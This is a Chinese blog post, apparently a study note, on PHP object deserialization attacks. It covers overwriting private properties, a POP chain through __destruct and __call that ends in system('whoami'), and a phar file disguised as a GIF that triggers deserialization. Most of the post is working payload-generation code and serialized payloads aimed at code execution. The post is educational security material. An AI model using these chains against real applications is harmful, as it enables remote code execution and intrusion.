之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。

导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。

今天测试了一下。private变量也是也可以的。

class Test{
private $test;
public function __construct($test)
{
$this->test = $test;
}
public function __destruct()
{
eval($this->test);
}
}unserialize($_GET['a']);

payload1:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
private $test;
public function __construct($test){
$this->test = $test;
}
}
$a = new Test('phpinfo();');
echo urlencode(serialize($a));

payload2:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
private $test;
public function __construct($test){
$this->test = 'phpinfo()';
}
}
$a = new Test();
echo urlencode(serialize($a));

paload3:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
private $test='phpinfo();';
}
$a = new Test();
echo urlencode(serialize($a));

payload4:这样构造的pyload的是不行的。因为变量是private属性。这种情况的pyload只能是public.

class Test
{
private $test;
public function __construct($test){
$this->test = $test;
}
}
$a = new Test();
$a->test='phpinfo();';
echo urlencode(serialize($a)); //O%3A4%3A"Test"%3A1%3A%7Bs%3A10%3A"%00Test%00test"%3Bs%3A9%3A"phpinfo%28%29"%3B%7D

以上是对序列化变量覆盖的常用4中方法。其中反序列化时是不会执行__construct这个函数的。

总结:

php反序列的时候可控的变量可以是:public、private、protected

其中php反序列化形成的关键:

1、存在反序列化可控的变量

2、找危险函数的类(当找不到危险函数的类的时候,可以尝试利用内置的类构造。http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

eg:2.php  2.php中__destruct中有events和event俩个可控变量。可以将events赋值给test2类,因为test2中没有fire方法,就会调用test2类中的__call方法

test2中的formatters变量可控。

include("./3.php");
class test1
{ protected $events; protected $event; public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
} public function __destruct()
{
$this->events->fire($this->event);
}
}
unserialize($_GET['a']);

3.php

<?php
class test2
{
protected $formatters; function __construct($forma){
$this->formatters = $forma;
} public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
} public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
} public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}

exp.php

<?php
class test1
{ protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event); //让fire可控制
}
}
class test2
{
protected $formatters; function __construct($forma){
$this->formatters = $forma;
}
// fire whoami
public function format($formatter, $arguments = array())
{                           system whoami
return call_user_func_array($this->getFormatter($formatter), $arguments);
} public function getFormatter($formatter)
{ // ['fire'=>'system']
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter]; //system
}
} public function __call($method, $attributes)
{ //fire whoami
return $this->format($method, $attributes);
}
} $fs = array("fire"=>"system");
$gen = new test2($fs);
$pb = new test1($gen,"whoami");
echo urlencode(serialize($pb)); // call_user_func('system','whoami');

这几个函数参数变量可控也可能导致反序列化漏洞

include('./1.phar');
file_exists('phar://./1.phar');
file_get_contents('phar://./1.phar');

生成phar

$fs = array("fire"=>"system");
$gen = new test2($fs);
$pb = new test1($gen,"whoami");
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pb);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '3.gif');

php反序列化的更多相关文章

  1. C#反序列化XML异常:在 XML文档(0, 0)中有一个错误“缺少根元素”

    Q: 在反序列化 Xml 字符串为 Xml 对象时,抛出如下异常. 即在 XML文档(0, 0)中有一个错误:缺少根元素. A: 首先看下代码: StringBuilder sb = new Stri ...

  2. C# 序列化与反序列化几种格式的转换

    这里介绍了几种方式之间的序列化与反序列化之间的转换 首先介绍的如何序列化,将object对象序列化常见的两种方式即string和xml对象; 第一种将object转换为string对象,这种比较简单没 ...

  3. 迟来的Json反序列化

    源码发布 搞了一个下午,终于搞定了这个号称中国的github...以后源码直接在这里发布了(github实在用不来,英文实在太烂了) https://code.csdn.net/jy02305022/ ...

  4. .Net使用Newtonsoft.Json.dll(JSON.NET)对象序列化成json、反序列化json示例教程

    JSON作为一种轻量级的数据交换格式,简单灵活,被很多系统用来数据交互,作为一名.NET开发人员,JSON.NET无疑是最好的序列化框架,支持XML和JSON序列化,高性能,免费开源,支持LINQ查询 ...

  5. 使用Newtonsoft.Json.dll(JSON.NET)动态解析JSON、.net 的json的序列化与反序列化(一)

    在开发中,我非常喜欢动态语言和匿名对象带来的方便,JSON.NET具有动态序列化和反序列化任意JSON内容的能力,不必将它映射到具体的强类型对象,它可以处理不确定的类型(集合.字典.动态对象和匿名对象 ...

  6. 【.NET深呼吸】如何反序列化动态JSON

    .net本身除了支持SOAP.XML.二进制等序列化和反序列化,后来也加入了对JSON的序列化的支持.然而,在实际开发中,常常会遇到结构不确定的JSON对象,这些对象可能是其他代码动态生成的,你事先无 ...

  7. Java 序列化与反序列化

    1.什么是序列化?为什么要序列化? Java 序列化就是指将对象转换为字节序列的过程,而反序列化则是只将字节序列转换成目标对象的过程. 我们都知道,在进行浏览器访问的时候,我们看到的文本.图片.音频. ...

  8. C#中怎样实现序列化和反序列化

    我们想要将数据进行持久化的操作的话,也就是将数据写入到文件中,我们在C#中可以通过IO流来操作,同时也可以通过序列化来操作,本人是比较推荐使用序列化操作的 因为我们如果想要将一个对象持久化到文件中 如 ...

  9. Java序列化与反序列化

    Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...

  10. 让Visual Studio 2013为你自动生成XML反序列化的类

    Visual Sutdio 2013增加了许多新功能,其中很多都直接提高了对代码编辑的便利性.如: 1. 在代码编辑界面的右侧滚动条上显示不同颜色的标签,让开发人员可以对所编辑文档的修改.查找.定位情 ...

随机推荐

  1. 6、Object、String、StringBuffer

    Java的Api以及Object类 API概念 * A:API(Application Programming Interface) * 应用程序编程接口 * B:Java API * 就是Java提 ...

  2. 167 -两个Sum II - 输入数组已排序

    给定已按升序排序的整数数组,找到两个数字,使它们相加到特定的目标数. 函数twoSum应返回两个数字的索引,以便它们加起来到目标,其中index1必须小于index2. 注意: 您返回的答案(inde ...

  3. 6 springboot Docker 部署

    安装请参考其他的教程请参考http://www.runoob.com/docker/centos-docker-install.htm 拉取zookeeper镜像 docker pull zookee ...

  4. json的省市联动

    1 <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 < ...

  5. Struts 类型转换之局部和全局配置

    我们碰到过很多情况,就是时间日期常常会出现错误,这是我们最头疼的事,在struts2中有一些内置转换器,也有一些需要我们自己配置. 我们为什么需要类型转换呢? 在基于HTTP协议的Web应用中 客户端 ...

  6. tensorflow梯度下降

    import numpy as np import tensorflow as tf import matplotlib.pyplot as plt num_points = 1000 vectors ...

  7. Designers, please follow the guidelines

    Skype released big update for its iOS application last week. It brought in a major overhaul of not o ...

  8. Cloud Computing Causing Digital Business Transformation

    2015-04-13 Cloud Computing Causing Digital Business Transformation We hear all about the cloud, and  ...

  9. LeetCode 514----Freedom Trail

    问题描述 In the video game Fallout 4, the quest "Road to Freedom" requires players to reach a ...

  10. (C#) 多线程访问探讨,如果保证线程安全?

    先抛出几点疑问: 1. 多个线程同时访问同一个“值类型变量“(value type, stored in stack), 如果保证安全访问? 2. 多个线程同时访问同一个“引用类型变量“(refere ...